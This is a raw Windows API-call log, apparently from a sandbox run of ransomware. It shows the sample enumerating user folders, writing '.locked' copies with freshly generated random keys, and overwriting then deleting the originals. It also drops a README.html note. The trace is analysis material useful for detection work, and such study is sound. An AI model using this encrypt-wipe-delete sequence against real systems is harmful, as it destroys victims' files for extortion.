	[0078.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d24d210, ftCreationTime.dwHighDateTime=0x1d4d4f8, ftLastAccessTime.dwLowDateTime=0xdae06a0, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0xdae06a0, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0x6ce5)) returned 1
	[0078.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.046] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.047] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.047] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0078.047] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a82e0 | out: pbBuffer=0x127a82e0) returned 1
	[0078.047] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0078.047] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.049] SetEvent (hEvent=0x78) returned 1
	[0078.049] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x6ce5, lpOverlapped=0x0) returned 1
	[0078.051] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x6ce5, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x6ce5, lpOverlapped=0x0) returned 1
	[0078.051] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.051] CloseHandle (hObject=0xc4) returned 1
	[0078.051] CloseHandle (hObject=0xc0) returned 1
	[0078.052] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.052] SetEvent (hEvent=0x78) returned 1
	[0078.052] SetEvent (hEvent=0x80) returned 1
	[0078.052] SetEvent (hEvent=0xb4) returned 1
	[0078.052] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.052] SetEvent (hEvent=0xa8) returned 1
	[0078.053] SetEvent (hEvent=0xb4) returned 1
	[0078.053] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x39, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x39) returned 1
	[0078.054] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav")) returned 1
	[0078.071] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.072] SetEvent (hEvent=0xa8) returned 1
	[0078.072] SetEvent (hEvent=0x80) returned 1
	[0078.076] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.076] SetEvent (hEvent=0x80) returned 1
	[0078.076] SetEvent (hEvent=0xb4) returned 1
	[0078.076] SetEvent (hEvent=0x78) returned 1
	[0078.076] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.077] SetEvent (hEvent=0x78) returned 1
	[0078.078] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.078] SetEvent (hEvent=0x78) returned 1
	[0078.079] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.079] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.079] SetEvent (hEvent=0x78) returned 1
	[0078.079] SetEvent (hEvent=0xb4) returned 1
	[0078.079] SetEvent (hEvent=0x80) returned 1
	[0078.079] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.080] SetEvent (hEvent=0x80) returned 1
	[0078.080] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.080] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.080] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.102] CloseHandle (hObject=0xc0) returned 1
	[0078.102] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\u917nQmxGlYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\u917nqmxglyq.wav")) returned 1
	[0078.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1
	[0078.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0078.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0078.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fc238 | out: lpFileInformation=0x123fc238*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0078.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.106] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fc2d8 | out: lpFileInformation=0x123fc2d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebc94dc0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebc94dc0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0078.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.106] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebc94dc0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebc94dc0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebc94dc0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebc94dc0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e5463b0, ftCreationTime.dwHighDateTime=0x1d4cae0, ftLastAccessTime.dwLowDateTime=0x11922840, ftLastAccessTime.dwHighDateTime=0x1d4d0bb, ftLastWriteTime.dwLowDateTime=0x11922840, ftLastWriteTime.dwHighDateTime=0x1d4d0bb, nFileSizeHigh=0x0, nFileSizeLow=0x11565, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Lsmz5HztvhznO-V.png", cAlternateFileName="0LSMZ5~1.PNG")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36896660, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0x45410990, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x45410990, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0xc73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="4jWVp.gif", cAlternateFileName="")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb967a60, ftCreationTime.dwHighDateTime=0x1d4c575, ftLastAccessTime.dwLowDateTime=0x4ff9cec0, ftLastAccessTime.dwHighDateTime=0x1d4c603, ftLastWriteTime.dwLowDateTime=0x4ff9cec0, ftLastWriteTime.dwHighDateTime=0x1d4c603, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x0, cFileName="B6gEmxb7 -bT2FNBsDGR.png", cAlternateFileName="B6GEMX~1.PNG")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d193280, ftCreationTime.dwHighDateTime=0x1d4d0d6, ftLastAccessTime.dwLowDateTime=0x8a969870, ftLastAccessTime.dwHighDateTime=0x1d4c5fd, ftLastWriteTime.dwLowDateTime=0x8a969870, ftLastWriteTime.dwHighDateTime=0x1d4c5fd, nFileSizeHigh=0x0, nFileSizeLow=0x12c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="beP_ w_LG-sZuMdDHdVG.gif", cAlternateFileName="BEP_W_~1.GIF")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc13c6f0, ftCreationTime.dwHighDateTime=0x1d4cea7, ftLastAccessTime.dwLowDateTime=0x201f1a70, ftLastAccessTime.dwHighDateTime=0x1d4c946, ftLastWriteTime.dwLowDateTime=0x201f1a70, ftLastWriteTime.dwHighDateTime=0x1d4c946, nFileSizeHigh=0x0, nFileSizeLow=0x16693, dwReserved0=0x0, dwReserved1=0x0, cFileName="B_yGnflRCJSfOV_.png", cAlternateFileName="B_YGNF~1.PNG")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0078.106] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adc1dc0, ftCreationTime.dwHighDateTime=0x1d4d4d5, ftLastAccessTime.dwLowDateTime=0xee0353d0, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xee0353d0, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0xfe5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRmvvGudh4J0VSMYPm.gif", cAlternateFileName="DRMVVG~1.GIF")) returned 1
	[0078.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7784de90, ftCreationTime.dwHighDateTime=0x1d4ce7c, ftLastAccessTime.dwLowDateTime=0x4735c0a0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0x4735c0a0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvfPIls", cAlternateFileName="")) returned 1
	[0078.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf31d2e0, ftCreationTime.dwHighDateTime=0x1d4cf48, ftLastAccessTime.dwLowDateTime=0xddcba870, ftLastAccessTime.dwHighDateTime=0x1d4cf97, ftLastWriteTime.dwLowDateTime=0xddcba870, ftLastWriteTime.dwHighDateTime=0x1d4cf97, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdM m5ZZBkUoa", cAlternateFileName="IDMM5Z~1")) returned 1
	[0078.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf935c60, ftCreationTime.dwHighDateTime=0x1d4cacb, ftLastAccessTime.dwLowDateTime=0xfdc28200, ftLastAccessTime.dwHighDateTime=0x1d4d0e8, ftLastWriteTime.dwLowDateTime=0xfdc28200, ftLastWriteTime.dwHighDateTime=0x1d4d0e8, nFileSizeHigh=0x0, nFileSizeLow=0xa9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="K phBlWgzvYhpT-HA.png", cAlternateFileName="KPHBLW~1.PNG")) returned 1
	[0078.107] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.107] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0078.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.107] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0078.108] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0078.108] CloseHandle (hObject=0xc0) returned 1
	[0078.109] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee914*=0x41) returned 1
	[0078.110] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc6e8 | out: lpFileInformation=0x123fc6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e5463b0, ftCreationTime.dwHighDateTime=0x1d4cae0, ftLastAccessTime.dwLowDateTime=0x11922840, ftLastAccessTime.dwHighDateTime=0x1d4d0bb, ftLastWriteTime.dwLowDateTime=0x11922840, ftLastWriteTime.dwHighDateTime=0x1d4d0bb, nFileSizeHigh=0x0, nFileSizeLow=0x11565)) returned 1
	[0078.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.110] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0078.111] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0078.111] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0078.111] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8890 | out: pbBuffer=0x127a8890) returned 1
	[0078.111] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416881 | out: pbBuffer=0x12416881) returned 1
	[0078.111] WriteFile (in: hFile=0xc4, lpBuffer=0x1279d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1279d000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0078.113] SetEvent (hEvent=0xb4) returned 1
	[0078.113] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x11565, lpOverlapped=0x0) returned 1
	[0078.116] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11565, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x11565, lpOverlapped=0x0) returned 1
	[0078.117] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0078.117] CloseHandle (hObject=0xc4) returned 1
	[0078.117] CloseHandle (hObject=0xc0) returned 1
	[0078.117] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.118] SetEvent (hEvent=0xb4) returned 1
	[0078.118] SetEvent (hEvent=0x80) returned 1
	[0078.118] SetEvent (hEvent=0x78) returned 1
	[0078.118] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.118] SetEvent (hEvent=0xa8) returned 1
	[0078.118] SetEvent (hEvent=0x78) returned 1
	[0078.118] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12416080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0078.120] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png")) returned 1
	[0078.138] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.138] SetEvent (hEvent=0xa8) returned 1
	[0078.138] SetEvent (hEvent=0x80) returned 1
	[0078.143] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.143] SetEvent (hEvent=0x80) returned 1
	[0078.143] SetEvent (hEvent=0x78) returned 1
	[0078.143] SetEvent (hEvent=0xb4) returned 1
	[0078.143] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.143] SetEvent (hEvent=0xb4) returned 1
	[0078.145] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.145] SetEvent (hEvent=0xb4) returned 1
	[0078.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.146] SetEvent (hEvent=0xb4) returned 1
	[0078.146] SetEvent (hEvent=0x78) returned 1
	[0078.146] SetEvent (hEvent=0x80) returned 1
	[0078.146] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.146] SetEvent (hEvent=0x80) returned 1
	[0078.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0Lsmz5HztvhznO-V.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0lsmz5hztvhzno-v.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.147] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.148] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.172] CloseHandle (hObject=0xc0) returned 1
